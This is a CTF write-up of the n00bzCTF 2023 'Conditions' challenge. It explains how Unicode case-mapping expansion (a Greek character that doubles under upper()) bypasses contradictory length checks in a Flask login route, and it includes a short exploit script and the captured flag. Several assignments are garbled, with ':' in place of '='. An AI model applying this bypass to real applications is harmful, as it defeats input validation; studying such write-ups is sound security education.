Cover Image

n00bzCTF 2023 - Conditions

Award

This writeup was awarded as “Winner of n00bzCTF2023 Best Well Written Writeup award!”

Challenge Overview

In this challenge, we were given a Python file server.py and here is its content:

from flask import Flask, request, render_template, render_template_string, redirect
import subprocess
import urllib
flag: open('flag.txt').read()
app: Flask(__name__)
@app.route('/')
def main():
    return redirect('/login')

@app.route('/login',methods=['GET','POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        if len(request.values["username"]) >= 40:
            return render_template_string("Username is too long!")
        elif len(request.values["username"].upper()) <= 50:
            return render_template_string("Username is too short!")
        else:
            return flag
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

Code Analysis

The /login route of this Flask application is designed to handle both GET and POST requests. GET requests simply return the login form, while POST requests are used to process information submitted by the user through this form.

When a POST request is received, the code checks two conditions regarding the username:

  • If the length of the username is 40 characters or more, the application returns an error message indicating that the username is too long.

  • If the length of the username, after being converted to uppercase with .upper(), is 50 characters or less, the application returns an error message indicating that the username is too short.

We can notice a contradiction between the conditions since it seems impossible to choose a username that satisfies both conditions, as a character string cannot be both less than 40 characters and greater than 50 characters at the same time.

Unicode Decomposition Vulnerability

But why is the user’s string converted to uppercase with upper() in the second condition?

By searching the internet for information about a potential bug that was detected in upper(), I found this link StackOverflow

To explain this, this is what is called Unicode “decomposition”: some characters can decompose into multiple other characters when they undergo certain transformations, such as conversion to uppercase. For example, the letter 'αΎ‰' (capital alpha with dasia and prosgegrammeni, U+1F89) decomposes into 'αΌ‰Ξ™' when converted to uppercase. Thanks to the Greeks :D

In the context of this code, if you send a username that has less than 40 characters but, once converted to uppercase, has more than 50 characters, you can bypass the length checks and get the flag.

Exploitation

Exploit Script

Here is the Python code that allows exploiting the vulnerability on the host:

import requests

def main():
	url: "http://challs.n00bzunit3d.xyz:42552/login"
	data: {"username": "αΎ‰" * 39}
	response: requests.post(url, data=data)
	print("Flag:", response.text)

if __name__ == '__main__':
	main()

How It Works

Even though the initial length of the username is 39 characters (which is less than 40 and would not trigger the "Username is too long!" error), once passed to the upper() method, the string length becomes 78 characters (which is greater than 50 and would not trigger the "Username is too short!" error).

Therefore, this script is able to bypass the length checks in the Flask application and obtains the flag.

Result

Here is the result:

python flag.py 
Flag: n00bz{1mp0551bl3_c0nd1t10n5_m0r3_l1k3_p0551bl3_c0nd1t10ns}

Flag

We get the flag n00bz{1mp0551bl3_c0nd1t10n5_m0r3_l1k3_p0551bl3_c0nd1t10ns}